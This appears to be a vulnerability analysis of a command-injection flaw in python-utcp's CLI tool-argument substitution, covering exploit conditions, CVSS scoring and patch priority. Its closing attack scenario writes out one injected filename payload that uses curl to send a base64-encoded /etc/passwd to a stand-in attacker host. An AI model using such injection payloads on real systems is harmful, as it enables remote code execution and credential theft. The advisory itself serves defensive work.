python-utcp CVE-2026-45369

Exploitation requires the python-utcp service to accept tool_args parameters from untrusted sources over a network interface (AV:N). The application must invoke the vulnerable cli_communication_protocol.py module to process tool definitions containing UTCP_ARG placeholders. User interaction is required (UI:R) - specifically, a legitimate user or service must trigger execution of a tool call containing the attacker's malicious tool_args payload, which typically occurs when the application processes user-submitted job requests, API calls, or workflow definitions. Attack complexity is high (AC:H) because the attacker must understand the application's tool definition schema and placeholder syntax to craft valid-looking payloads that pass application-layer validation while still injecting shell metacharacters. No authentication is required (PR:N) if the tool invocation interface is exposed to unauthenticated users. Limiting factors include: applications that only accept tool definitions from trusted administrators (not user-supplied tool_args) are not exploitable; systems that validate or sanitize tool_args at the application layer before passing to python-utcp may block injection attempts; deployments where python-utcp processes only hardcoded tool definitions with no user-controlled parameters face zero risk despite running vulnerable code.

Real-world risk is high but requires specific deployment conditions. The CVSS vector AV:N/AC:H/PR:N/UI:R indicates network-accessible attack surface with high complexity and required user interaction, meaning exploitation depends on the application accepting network-based tool invocations and a victim user triggering the vulnerable code path. The scope change (S:C) is critical - successful exploitation enables breaking out of the intended execution context, potentially escaping containers or sandboxes. CVSS base score of 8.3 appropriately reflects the severe impact (complete system compromise via RCE) tempered by the exploitation prerequisites. No EPSS data provided, but absence from CISA KEV and lack of public exploit code (beyond the PoC in the advisory) suggests this is not yet widely exploited in the wild. However, the detailed GitHub security advisory with working proof-of-concept significantly lowers the barrier to weaponization. Organizations using python-utcp in multi-tenant environments or processing untrusted tool definitions face immediate risk. The patch introduces a breaking behavioral change (single placeholder no longer expands to multiple shell tokens), which may delay adoption in production environments where tool definitions rely on the old multi-token expansion behavior. Priority for patching depends on whether the application accepts tool_args from untrusted sources - systems with hardcoded or admin-only tool definitions face lower practical risk despite the high CVSS score.

An attacker controls tool_args input to a python-utcp service that executes CLI tools based on user-provided parameters. The attacker crafts a malicious filename argument such as 'data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' for a tool expecting a --input parameter. When the vulnerable _substitute_utcp_args method processes this, it constructs the shell command 'python script.py --input data.csv; curl http://attacker.com/exfil/$(cat /etc/passwd | base64)' and executes it via /bin/bash -c. The injected curl command exfiltrates the system's password file to the attacker's server. On Windows systems, similar injection using PowerShell syntax enables registry access, credential theft, or malware download. The GitHub advisory confirms this attack pattern with a working proof-of-concept, making exploitation straightforward for attackers with access to tool invocation interfaces.